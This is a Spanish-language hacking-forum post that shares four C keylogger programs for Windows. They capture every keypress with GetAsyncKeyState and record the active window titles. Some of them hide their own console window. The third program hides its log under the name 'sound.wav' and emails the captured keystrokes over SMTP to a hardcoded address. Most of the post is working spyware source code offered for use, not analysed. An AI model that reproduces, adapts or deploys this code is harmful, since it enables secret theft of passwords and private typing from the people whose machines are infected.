Keyloggers C

  • 0 Respuestas
  • 2933 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5706
  • Actividad:
    30%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Keyloggers C

  • en: Mayo 22, 2011, 09:53:59 pm
Características:
- Se inicia en la ruta donde sea ejecutado
  |No se añade al registro|
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/
/*

Modificacion de keyloguer básico - Coded by P
------------------------------------------------

- Modificado el modo de indentificar las teclas.
- Cuando se pulsan 850 teclas tambien se guarda ( Sino nos da un error )


P - [email protected]

Código: C
  1. */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <windows.h>
  6. #include <time.h>
  7.  
  8. #define OK -32767
  9.  
  10. int main() {
  11.    
  12.     FILE *log;
  13.     HWND ventana;    
  14.     time_t ltime;
  15.     int tecla=0;
  16.     int cont=0;
  17.     char TVentana[500] = "";                    
  18.     char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
  19.     char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
  20.                           /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
  21.                           /*2*/      "","","","","","","[Esc]","","","",
  22.                           /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
  23.                           /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
  24.                           /*5*/      "3","4","5","6","7","8","9","","","",
  25.                           /*6*/      "","","","","a","b","c","d","e","f",
  26.                           /*7*/      "g","h","i","j","k","l","m","n","o","p",
  27.                           /*8*/      "q","r","s","t","u","v","w","x","y","z",
  28.                           /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
  29.                           /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
  30.                           /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
  31.                           /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
  32.                           /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
  33.                           /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
  34.                           /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
  35.                           /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
  36.                           /*17*/     " "," "," "," "," "," "," "," "," "," ",
  37.                           /*18*/     " "," "," "," "," "," "," ",",","-",".",
  38.                           /*19*/     " "," "," "," "," "," "," "," "," ",
  39.                           /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
  40.                           /*21*/     " "," "," "," "," "," "," "," ","'","\\",
  41.                           /*22*/     "¡","´" };
  42.      
  43.    log=fopen("log.log","a");
  44.    fprintf(log,"\n/******************************/");
  45.    fprintf(log,"\n/* <ul class="bbc_list"><li type="disc">KeyLoGuer   */");[/li][/list]
  46.    fprintf(log,"\n/* </li><li type="disc">Iniciando...OK ");[/li][/list]
  47.    fprintf(log,"\n/******************************/");
  48.    fclose(log);
  49.            
  50.    ventana=GetForegroundWindow();
  51.    
  52.    while(1) {
  53.       if((GetForegroundWindow()!=ventana) || (cont==850)){
  54.          if(strlen(TVentana)>0 && strlen(Teclas)>0) {
  55.             time(&ltime);
  56.             ctime(&ltime);
  57.  
  58.             log=fopen("log.log","a");
  59.             fprintf(log,"\n\n</li><li type="disc"> Fecha: %s",ctime(&ltime));[/li][/list]
  60.             fprintf(log,"</li><li type="disc"> Ventana: %s ",TVentana);[/li][/list]
  61.             fprintf(log,"\n</li><li type="disc"> Texto: %s",Teclas);[/li][/list]
  62.             fprintf(log,"\n ");
  63.             fprintf(log,"\n/******************************/\n");
  64.             fclose(log);
  65.  
  66.             free(Teclas);
  67.             strcpy(Teclas,"");
  68.             cont = 0;
  69.             }
  70.          ventana=GetForegroundWindow();
  71.          }
  72.       else {
  73.            GetWindowText(ventana,TVentana,500);
  74.            }
  75.       for(tecla=4;tecla<256;tecla++) {
  76.           if (GetAsyncKeyState(tecla)==OK) {
  77.               strcat(Teclas,simbol[tecla]);
  78.               printf(" %s \n" ,simbol[tecla]);
  79.               cont++;
  80.               }
  81.           }
  82.     }
  83. }



Código: C
  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. #define OK -32767
  5.  
  6. void main()
  7. {
  8.    /*jugamos con las teclas virtuales, en vez de con el código ascii, para poder usarlo con distintos idiomas*/
  9.    do
  10.    {
  11.       /*TECLADO NUMÉRICO*/
  12.       if(GetAsyncKeyState(VK_NUMPAD9)==OK)
  13.       {
  14.          printf("9");
  15.       }
  16.  
  17.       if(GetAsyncKeyState(VK_NUMPAD8)==OK)
  18.       {
  19.          printf("8");
  20.       }
  21.  
  22.       if(GetAsyncKeyState(VK_NUMPAD7)==OK)
  23.       {
  24.          printf("7");
  25.       }
  26.  
  27.       if(GetAsyncKeyState(VK_NUMPAD6)==OK)
  28.       {
  29.          printf("6");
  30.       }
  31.  
  32.       if(GetAsyncKeyState(VK_NUMPAD5)==OK)
  33.       {
  34.          printf("5");
  35.       }
  36.  
  37.       if(GetAsyncKeyState(VK_NUMPAD4)==OK)
  38.       {
  39.          printf("4");
  40.       }
  41.  
  42.       if(GetAsyncKeyState(VK_NUMPAD3)==OK)
  43.       {
  44.          printf("3");
  45.       }
  46.  
  47.       if(GetAsyncKeyState(VK_NUMPAD2)==OK)
  48.       {
  49.          printf("2");
  50.       }
  51.  
  52.       if(GetAsyncKeyState(VK_NUMPAD1)==OK)
  53.       {
  54.          printf("1");
  55.       }
  56.  
  57.       if(GetAsyncKeyState(VK_NUMPAD0)==OK)
  58.       {
  59.          printf("0");
  60.       }
  61.  
  62.       /*TECLAS ESPECIALES*/
  63.       if(GetAsyncKeyState(VK_RETURN)==OK)
  64.       {
  65.          printf("[Return]");
  66.       }
  67.  
  68.       if(GetAsyncKeyState(VK_SHIFT)==OK)
  69.       {
  70.          printf("[Shift]");
  71.       }
  72.  
  73.       Sleep(100);
  74.    }while(1<2);
  75.    return;
  76. }



Código: C
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winuser.h>
  4. #include <windowsx.h>
  5. #include <time.h>
  6. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  7. char *emailsubject, char *emailmessage);
  8. #define BUFSIZE 800
  9. #define waittime 500
  10. #define cmailserver "gmail-smtp-in.l.google.com"
  11. #define cemailto "[email protected]"
  12. #define cemailfrom "[email protected]"
  13. #define LogLength 100
  14. #define FileName "sound.wav"
  15. #define SMTPLog "ring.wav"
  16. #define cemailsubject "Logged"
  17.  
  18. int test_key(void);
  19. int main(void)
  20. {
  21.    HWND stealth;
  22.    AllocConsole();
  23.    stealth=FindWindowA("ConsoleWindowClass",NULL);
  24.    ShowWindow(stealth,0);
  25.    
  26.    {FILE *file;
  27.    file=fopen(FileName,"a+");
  28.    time_t theTime=time(0);
  29.    fputs("\nStarted logging: ", file);
  30.    fputs(ctime(&theTime),file);
  31.    fclose(file);
  32.    }
  33.    
  34.    int t=get_keys();    
  35.    return t;
  36. }  
  37.  
  38. int get_keys(void)
  39. {
  40. int freadindex;
  41. char *buf;
  42. long len;
  43. FILE *file;
  44. file=fopen(FileName,"a+");
  45.  
  46.  
  47.            short character;
  48.              while(1)
  49.              {
  50.              SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
  51.                     Sleep(50);
  52.                     for(character=8;character<=222;character++)
  53.                     {
  54.                         if(GetAsyncKeyState(character)==-32767)
  55.                         {  
  56.                             FILE *file;
  57.                             file=fopen(FileName,"a+");
  58.                             if(file==NULL)
  59.                             {
  60.                                     return 1;
  61.                             }            
  62.                             if(file!=NULL)
  63.                             {        
  64.                                     if((character>=39)&&(character<=64))
  65.                                     {
  66.                                           fputc(character,file);
  67.                                           fclose(file);
  68.                                           break;
  69.                                     }        
  70.                                     else if((character>64)&&(character<91))
  71.                                     {
  72.                                           character+=32;
  73.                                           fputc(character,file);
  74.                                           fclose(file);
  75.                                           break;
  76.                                     }
  77.                                     else
  78.                                     {
  79.                                         switch(character)
  80.                                         {
  81.                                               case VK_SPACE:
  82.                                               fputc(' ',file);
  83.                                               fclose(file);
  84.                                               break;    
  85.                                               case VK_SHIFT:
  86.                                               fputs("\r\n[SHIFT]\r\n",file);
  87.                                               fclose(file);
  88.                                               break;                                            
  89.                                               case VK_RETURN:
  90.                                               fputs("\r\n[ENTER]\r\n",file);
  91.                                               fclose(file);
  92.                                               break;
  93.                                               case VK_BACK:
  94.                                               fputs("\r\n[BACKSPACE]\r\n",file);
  95.                                               fclose(file);
  96.                                               break;
  97.                                               case VK_TAB:
  98.                                               fputs("\r\n[TAB]\r\n",file);
  99.                                               fclose(file);
  100.                                               break;
  101.                                               case VK_CONTROL:
  102.                                               fputs("\r\n[CTRL]\r\n",file);
  103.                                               fclose(file);
  104.                                               break;    
  105.                                               case VK_DELETE:
  106.                                               fputs("\r\n[DEL]\r\n",file);
  107.                                               fclose(file);
  108.                                               break;
  109.                                               case VK_OEM_1:
  110.                                               fputs("\r\n[;:]\r\n",file);
  111.                                               fclose(file);
  112.                                               break;
  113.                                               case VK_OEM_2:
  114.                                               fputs("\r\n[/?]\r\n",file);
  115.                                               fclose(file);
  116.                                               break;
  117.                                               case VK_OEM_3:
  118.                                               fputs("\r\n[`~]\r\n",file);
  119.                                               fclose(file);
  120.                                               break;
  121.                                               case VK_OEM_4:
  122.                                               fputs("\r\n[ [{ ]\r\n",file);
  123.                                               fclose(file);
  124.                                               break;
  125.                                               case VK_OEM_5:
  126.                                               fputs("\r\n[\\|]\r\n",file);
  127.                                               fclose(file);
  128.                                               break;                                
  129.                                               case VK_OEM_6:
  130.                                               fputs("\r\n[ ]} ]\r\n",file);
  131.                                               fclose(file);
  132.                                               break;
  133.                                               case VK_OEM_7:
  134.                                               fputs("\r\n['\"]\r\n",file);
  135.                                               fclose(file);
  136.                                               break;
  137.                                               case 187:
  138.                                               fputc('+',file);
  139.                                               fclose(file);
  140.                                               break;
  141.                                               case 188:
  142.                                               fputc(',',file);
  143.                                               fclose(file);
  144.                                               break;
  145.                                               case 189:
  146.                                               fputc('-',file);
  147.                                               fclose(file);
  148.                                               break;
  149.                                               case 190:
  150.                                               fputc('.',file);
  151.                                               fclose(file);
  152.                                               break;
  153.                                               case VK_NUMPAD0:
  154.                                               fputc('0',file);
  155.                                               fclose(file);
  156.                                               break;
  157.                                               case VK_NUMPAD1:
  158.                                               fputc('1',file);
  159.                                               fclose(file);
  160.                                               break;
  161.                                               case VK_NUMPAD2:
  162.                                               fputc('2',file);
  163.                                               fclose(file);
  164.                                               break;
  165.                                               case VK_NUMPAD3:
  166.                                               fputc('3',file);
  167.                                               fclose(file);
  168.                                               break;
  169.                                               case VK_NUMPAD4:
  170.                                               fputc('4',file);
  171.                                               fclose(file);
  172.                                               break;
  173.                                               case VK_NUMPAD5:
  174.                                               fputc('5',file);
  175.                                               fclose(file);
  176.                                               break;
  177.                                               case VK_NUMPAD6:
  178.                                               fputc('6',file);
  179.                                               fclose(file);
  180.                                               break;
  181.                                               case VK_NUMPAD7:
  182.                                               fputc('7',file);
  183.                                               fclose(file);
  184.                                               break;
  185.                                               case VK_NUMPAD8:
  186.                                               fputc('8',file);
  187.                                               fclose(file);
  188.                                               break;
  189.                                               case VK_NUMPAD9:
  190.                                               fputc('9',file);
  191.                                               fclose(file);
  192.                                               break;
  193.                                               case VK_CAPITAL:
  194.                                               fputs("\r\n[CAPS LOCK]\r\n",file);
  195.                                               fclose(file);
  196.                                               break;
  197.                                               default:
  198.                                               fclose(file);
  199.                                               break;
  200.                                        }        
  201.                                   }    
  202.                              }        
  203.                    }    
  204.                }  
  205.                sleep (50);                
  206.            FILE *file;
  207.            file=fopen(FileName,"rb");
  208.            fseek(file,0,SEEK_END);
  209.            len=ftell(file);
  210.            if(len>=LogLength) {
  211.              fseek(file,0,SEEK_SET);
  212.              buf=(char *)malloc(len);
  213.              freadindex=fread(buf,1,len,file);
  214.              buf[freadindex] = '\0';
  215.              MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
  216.              fclose(file);
  217.              file=fopen(FileName,"w");                        
  218.              }
  219.            
  220.             fclose(file);
  221.                  
  222.            }
  223.            return EXIT_SUCCESS;                            
  224. }
  225.  
  226. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  227. char *emailsubject, char *emailmessage) {
  228.       SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
  229.     SOCKET sockfd;
  230.     WSADATA wsaData;
  231.     FILE *smtpfile;
  232.    
  233.     #define bufsize 300
  234.     int bytes_sent;  
  235.     int err;
  236.     struct hostent *host;  
  237.     struct sockaddr_in dest_addr;  
  238.     char line[1000];
  239.     char *Rec_Buf = (char*) malloc(bufsize+1);
  240.     smtpfile=fopen(SMTPLog,"a+");
  241.     if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  242.       fputs("WSAStartup failed",smtpfile);
  243.       WSACleanup();
  244.       return -1;
  245.     }
  246.     if ( (host=gethostbyname(mailserver)) == NULL) {
  247.        perror("gethostbyname");
  248.        exit(1);
  249.     }
  250.     memset(&dest_addr,0,sizeof(dest_addr));
  251.     memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  252.  
  253.    
  254.      dest_addr.sin_family= host->h_addrtype;  
  255.      dest_addr.sin_port= htons(25);
  256.  
  257.      if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  258.         perror("socket");
  259.         exit(1);
  260.         }
  261.         sleep (50);
  262.      fputs("Connecting....\n",smtpfile);
  263.  
  264.     if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  265.         perror("connect");
  266.         exit(1);
  267.         }
  268.      sleep(50);
  269.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  270.      fputs(Rec_Buf,smtpfile);
  271.      strcpy(line,"helo me.somepalace.com\n");
  272.      fputs(line,smtpfile);
  273.      bytes_sent=send(sockfd,line,strlen(line),0);
  274.      sleep(50);
  275.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  276.      fputs(Rec_Buf,smtpfile);
  277.      strcpy(line,"MAIL FROM:<");
  278.      strncat(line,emailfrom,strlen(emailfrom));
  279.      strncat(line,">\n",3);
  280.      fputs(line,smtpfile);
  281.      bytes_sent=send(sockfd,line,strlen(line),0);
  282.      sleep(50);
  283.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  284.      fputs(Rec_Buf,smtpfile);
  285.      strcpy(line,"RCPT TO:<");
  286.      strncat(line,emailto,strlen(emailto));
  287.      strncat(line,">\n",3);
  288.      fputs(line,smtpfile);
  289.      bytes_sent=send(sockfd,line,strlen(line),0);
  290.      sleep(50);
  291.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  292.      fputs(Rec_Buf,smtpfile);
  293.      strcpy(line,"DATA\n");
  294.      fputs(line,smtpfile);
  295.      bytes_sent=send(sockfd,line,strlen(line),0);
  296.      sleep(50);
  297.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  298.      fputs(Rec_Buf,smtpfile);
  299.      sleep(50);
  300.      strcpy(line,"To:");
  301.      strcat(line,emailto);
  302.      strcat(line,"\n");
  303.      strcat(line,"From:");
  304.      strcat(line,emailfrom);
  305.      strcat(line,"\n");
  306.      strcat(line,"Subject:");
  307.      strcat(line,emailsubject);
  308.      strcat(line,"\n");
  309.      strcat(line,emailmessage);
  310.      strcat(line,"\r\n.\r\n");
  311.      fputs(line,smtpfile);
  312.      bytes_sent=send(sockfd,line,strlen(line),0);
  313.      sleep(50);
  314.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  315.      fputs(Rec_Buf,smtpfile);
  316.      strcpy(line,"quit\n");
  317.      fputs(line,smtpfile);
  318.      bytes_sent=send(sockfd,line,strlen(line),0);
  319.      sleep(50);
  320.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  321.      fputs(Rec_Buf,smtpfile);
  322.      fclose(smtpfile);                          
  323.      #ifdef WIN32
  324.      closesocket(sockfd);
  325.      WSACleanup();
  326.      #else
  327.      close(sockfd);
  328.      #endif
  329. }
  330.  



Características:
   - Se inicia en la ruta donde sea ejecutado
   - No se añade al registro
   - Guarda un log de todos los sucesos así como de las teclas pulsadas,
     en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
   Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
Código: C
  1. */
  2.  
  3. /*cabeceras*/
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <windows.h>
  7. #include <time.h>
  8.  
  9. /*para el log*/
  10. FILE *log;
  11. /*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
  12. #define OK -32767
  13. /*para el hwnd de la ventana activa*/
  14. HWND ventana;
  15.  
  16. /*==============================================================
  17. ==============================================================*/
  18. void main(int argc, char *argv[])
  19. {
  20.    /*realiza un seguimiento de las teclas pulsadas*/
  21.    void KeyLogger();
  22.  
  23.    /*ocultamos la ventana antes que nada*/
  24.    ventana=GetForegroundWindow();
  25.    ShowWindow(ventana,SW_HIDE);
  26.  
  27.    /*abrimos el log*/
  28.    log=fopen("LgPh.log","a");
  29.  
  30.    /*escribimos en el log*/
  31.    fprintf(log,"\n------------------------------------\n");
  32.    fprintf(log,"</li><li type="square"> PhcKey 0.2 Log");[/li][/list]
  33.    fprintf(log,"\n</li><li type="square"> Iniciando keyloguer...");[/li][/list]
  34.    fclose(log);
  35.    /*comenzamos a loguear teclas*/
  36.    KeyLogger();
  37. }
  38.  
  39.  
  40. /*==============================================================
  41.     ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
  42. ==============================================================*/
  43. void KeyLogger()
  44. {
  45.    //para obtener la hora del equipo
  46.    time_t ltime;
  47.    /*obtiene el código ascii de la tecla pulsada*/
  48.    int tecla=0;
  49.    //para el texto de la vntana activa
  50.    char TVentana[500];
  51.    //para almacenar las teclas que se pulsan
  52.    char *Teclas;
  53.    int k; //para recorrer el código ascii de las letras
  54.    //el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
  55.    char dominio[] = "abcdefghijklmnopqrstuvwxyz";
  56.    //idem
  57.    char dominio_num[] = "0123456789"; //para escanear el numpad
  58.  
  59.    //limpiamos el buffer del teclado para no mezclar
  60.    fflush(stdin);
  61.  
  62.    /*comenzamos a loguear*/
  63.    log=fopen("LgPh.log","a");
  64.    fprintf(log,"OK\n");
  65.    fclose(log);
  66.  
  67.    //cojemos el hwnd de la ventana activa
  68.    ventana=GetForegroundWindow();
  69.  
  70.    //guardamos la memoria
  71.    Teclas=calloc(1024,sizeof(char));
  72.    //mientras la variable 'loguea' sea TRUE
  73.    do
  74.    {
  75.       /*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
  76.       if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
  77.       {
  78.          if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
  79.          {
  80.             //cojemos la hora
  81.             time(&ltime);
  82.             ctime(&ltime);
  83.  
  84.             //como ha cambiado laventana, guardamos los datos
  85.             log=fopen("LgPh.log","a");
  86.             fprintf(log,"\n\n</li><li type="square"> Fecha: %s",ctime(&ltime)); //metemos la hora[/li][/list]
  87.             fprintf(log,"[-] [ Ventana: %s ]",TVentana);
  88.             fprintf(log,"\n    %s",Teclas);//guardamos las teclas
  89.             fclose(log);
  90.             //limpiamos la variable
  91.             free(Teclas);
  92.             Teclas=calloc(1024,sizeof(char));
  93.          }
  94.          //cojemos el nuevo hwnd
  95.          ventana=GetForegroundWindow();
  96.       }else{
  97.          //y ahora cojemos el nuevo texto de la ventana
  98.          GetWindowText(ventana,TVentana,500);
  99.       }
  100.  
  101.       /*creamos un bucle para saber qué tecla pulsa*/
  102.       for(tecla=4;tecla<256;tecla++)
  103.       {
  104.          if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
  105.          {            
  106.             //------------------------------------
  107.             /*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
  108.             //------------------------------------
  109.             for(k=65;k<91;k++)
  110.             {
  111.                if(tecla==k)
  112.                {
  113.                   Teclas[strlen(Teclas)]=dominio[tecla-65];
  114.                   Teclas[strlen(Teclas)]='\0';
  115.                }
  116.             }
  117.  
  118.             //-----------------------------------------------
  119.             /*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
  120.             //-----------------------------------------------
  121.             for(k=96;k<106;k++)
  122.             {
  123.                if(tecla==k)
  124.                {
  125.                   Teclas[strlen(Teclas)]=dominio_num[tecla-96];
  126.                   Teclas[strlen(Teclas)]='\0';
  127.                }
  128.             }
  129.  
  130.             //filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
  131.             switch(tecla)
  132.             {
  133.             /*Miramos los "F1,F2..."*/
  134.             case 112:
  135.                strcat(Teclas,"[F1]");
  136.                break;
  137.  
  138.             case 113:
  139.                strcat(Teclas,"[F2]");
  140.                break;
  141.            
  142.             case 114:
  143.                strcat(Teclas,"[F3]");
  144.                break;
  145.  
  146.             case 115:
  147.                strcat(Teclas,"[F4]");
  148.                break;
  149.  
  150.             case 116:
  151.                strcat(Teclas,"[F5]");
  152.                break;
  153.  
  154.             case 117:
  155.                strcat(Teclas,"[F6]");
  156.                break;
  157.  
  158.             case 118:
  159.                strcat(Teclas,"[F7]");
  160.                break;
  161.  
  162.             case 119:
  163.                strcat(Teclas,"[F8]");
  164.                break;
  165.  
  166.             case 120:
  167.                strcat(Teclas,"[F9]");
  168.                break;
  169.  
  170.             case 121:
  171.                strcat(Teclas,"[F10]");
  172.                break;
  173.  
  174.             case 122:
  175.                strcat(Teclas,"[F11]");
  176.                break;
  177.  
  178.             case 123:
  179.                strcat(Teclas,"[F13]");
  180.                break;
  181.  
  182.             case 27:
  183.                strcat(Teclas,"[Escape]");
  184.                break;
  185.  
  186.             case 8:
  187.                strcat(Teclas,"[Retroceso]");
  188.                break;
  189.  
  190.             case 13:
  191.                strcat(Teclas,"[Enter]");
  192.                break;
  193.  
  194.             case 9:
  195.                strcat(Teclas,"[Tabulado]");
  196.                break;
  197.  
  198.             case 20:
  199.                strcat(Teclas,"[Bloq.Mayus.]");
  200.                break;
  201.  
  202.             case 160:
  203.                strcat(Teclas,"[Shitf(Izq)]");
  204.                break;
  205.            
  206.             case 161:
  207.                strcat(Teclas,"[Shitf(Dcha)]");
  208.                break;
  209.  
  210.             /*caracteres especiales*/
  211.             case 221:
  212.                Teclas[strlen(Teclas)]='¡';
  213.                Teclas[strlen(Teclas)]='\0';
  214.                break;
  215.  
  216.             case 219:
  217.                strcat(Teclas,"[']");
  218.                break;
  219.  
  220.             case 192:
  221.                strcat(Teclas,"[ñ]");
  222.                break;
  223.  
  224.             case 32:
  225.                strcat(Teclas," ");
  226.                break;
  227.  
  228.             case 144:
  229.                strcat(Teclas,"[Bloq Num]");
  230.                break;
  231.  
  232.             case 111:
  233.                Teclas[strlen(Teclas)]='/';
  234.                Teclas[strlen(Teclas)]='\0';
  235.                break;
  236.  
  237.             case 106:
  238.                Teclas[strlen(Teclas)]='*';
  239.                Teclas[strlen(Teclas)]='\0';
  240.                break;
  241.  
  242.             case 109:
  243.                Teclas[strlen(Teclas)]='-';
  244.                Teclas[strlen(Teclas)]='\0';
  245.                break;
  246.  
  247.             case 220:
  248.                Teclas[strlen(Teclas)]='\\';
  249.                Teclas[strlen(Teclas)]='\0';
  250.                break;
  251.  
  252.             case 49:
  253.                Teclas[strlen(Teclas)]='1';
  254.                Teclas[strlen(Teclas)]='\0';
  255.                break;
  256.  
  257.             case 50:
  258.                Teclas[strlen(Teclas)]='2';
  259.                Teclas[strlen(Teclas)]='\0';
  260.                break;
  261.  
  262.             case 51:
  263.                Teclas[strlen(Teclas)]='3';
  264.                Teclas[strlen(Teclas)]='\0';
  265.                break;
  266.  
  267.             case 52:
  268.                Teclas[strlen(Teclas)]='4';
  269.                Teclas[strlen(Teclas)]='\0';
  270.                break;
  271.  
  272.             case 53:
  273.                Teclas[strlen(Teclas)]='5';
  274.                Teclas[strlen(Teclas)]='\0';
  275.                break;
  276.  
  277.             case 54:
  278.                Teclas[strlen(Teclas)]='6';
  279.                Teclas[strlen(Teclas)]='\0';
  280.                break;
  281.  
  282.             case 55:
  283.                Teclas[strlen(Teclas)]='7';
  284.                Teclas[strlen(Teclas)]='\0';
  285.                break;
  286.  
  287.             case 56:
  288.                Teclas[strlen(Teclas)]='8';
  289.                Teclas[strlen(Teclas)]='\0';
  290.                break;
  291.            
  292.             case 57:
  293.                Teclas[strlen(Teclas)]='9';
  294.                Teclas[strlen(Teclas)]='\0';
  295.                break;
  296.  
  297.             case 48:
  298.                Teclas[strlen(Teclas)]='0';
  299.                Teclas[strlen(Teclas)]='\0';
  300.                break;
  301.  
  302.             case 188:
  303.                Teclas[strlen(Teclas)]=',';
  304.                Teclas[strlen(Teclas)]='\0';
  305.                break;
  306.  
  307.             case 189:
  308.                Teclas[strlen(Teclas)]='-';
  309.                Teclas[strlen(Teclas)]='\0';
  310.                break;
  311.  
  312.             case 190:
  313.                Teclas[strlen(Teclas)]='.';
  314.                Teclas[strlen(Teclas)]='\0';
  315.                break;
  316.  
  317.             default:
  318.                //mostramos el caracter ascii de la tecla pulsada
  319.                //printf("{%d}",tecla);
  320.                break;
  321.             };
  322.          }
  323.       }
  324.    }while(1<2);
  325. }
« Última modificación: Febrero 08, 2014, 05:50:36 pm por Expermicid »


 

Keyloggers C++

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2522
Último mensaje Mayo 22, 2011, 09:55:10 pm
por ANTRAX